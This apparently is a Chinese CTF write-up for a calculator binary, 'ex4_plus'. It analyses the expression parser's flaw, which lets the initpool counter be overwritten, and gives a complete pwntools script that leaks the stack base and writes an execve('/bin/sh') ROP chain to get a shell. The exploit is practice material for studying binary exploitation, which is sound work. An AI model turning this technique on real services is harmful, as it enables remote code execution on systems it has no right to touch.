ex4_plus

这个程序是一个计算器（错误输入会祝我圣诞节快乐！）

```
❯ gdb -q ex4_plus
Reading symbols from ex4_plus...
(No debugging symbols found in ex4_plus)
gdb-peda$ r
Starting program: /mnt/d/Syncdisk/Repos/pwn-example/ret2syscall/ex4_plus
=== Welcome to SECPROG calculator ===
1 + 1
2
2 * 3
6
15 / 5
3

Merry Christmas!
```

分析计算功能函数`parse_expr`：

```
... for (i = 0;; ++i)
{
    if ((unsigned int)(*(char *)(i + expr) - 48) > 9) // 大于9识别为运算符
    {
        // 首先将运算符前面的字符串转化为整数保存
        v7 = i + expr - v4;
        s1 = (char *)malloc(v7 + 1);
        memcpy(s1, v4, v7);
        s1[v7] = 0;
        if (!strcmp(s1, "0"))  // 左边操作数为0，直接退出？？？这么草率？？？
        {
            puts("prevent division by zero");
            fflush(stdout);
            return 0;
        }
        v9 = atoi(s1);
```

```
        if (v9 > 0)
        {
            v3 = (*initpool)++;  // 运算符前操作数赋值给initpool
            // initpool[0]保存的是运算数的个数，之后存储的是每一个运算数
            initpool[v3 + 1] = v9;
        }
        if (*(_BYTE *)(i + expr) && (unsigned int)(*(char *)(i + 1 + expr) - 48) > 9)
        {
            puts("expression error!");
            fflush(stdout);
            return 0;
        }
        v4 = i + 1 + expr;
        if (s[v6])  // 判断上一个是否为0， 不为0对之前的表达式计算，为0，去当前运算符作为第一个运算符（正常的计算表达式的逻辑）
        {
            ...
        }
...
    // 函数最终输出initpool[1 + initpool[0] - 1]
```

漏洞分析：改变`initpool[0]`的值，就可以泄漏栈上某个位置。我们可以使用ROP调用`exev("/bin/sh")`，详细构建ROP链过程见payload代码↓

```
from pwn import *


"""
#pop eax ; ret
#pop ebx ; ret
#pop ecx ; pop ebx ; ret
#pop edx ; ret
#int 0x80

"""
eax_addr = 0x0805c34b
ebx_addr = 0x080481d1
ecx_addr = 0x080701d1
edx_addr = 0x080701aa
int_addr = 0x08049a21

rop = [eax_addr, 0x0b, ecx_addr, 0, 0, edx_addr, 0, int_addr, u32("/bin"), u32("/sh\x00")]

```

```python
sh = process("./ex4_plus")
sh.recvuntil("\n")

sh.sendline("+360")
main_ebp = int(sh.recvuntil("\n",drop=True))
main_ebp = 0x100000000 + main_ebp  # 泄漏的是负数
# 获得/bin/sh字符串在栈里的位置
rop[4] = main_ebp - 0x20 + 9 * 4

for i in range(len(rop)):
    payload = f"+{str(361 + i)}"
    sh.sendline(payload)
    # 先泄露原来的值
    num = int(sh.recvuntil("\n", drop=True))
    offset = rop[i] - num

    payload_ = payload + str(offset) if offset < 0 else f"{payload}+{str(offset)}"
    sh.sendline(payload_)
    value = int(sh.recv(1024))
    if value < 0:
        value += 0x100000000

    while value != rop[i]:
        offset = rop[i] - value
        if offset < 0:
            sh.sendline(payload + str(offset))
        else:
            sh.sendline(f"{payload}+{str(offset)}")
        value = int(sh.recv(1024))
        if value < 0:
            value += 0x100000000

sh.sendline(b"A")
sh.interactive()

```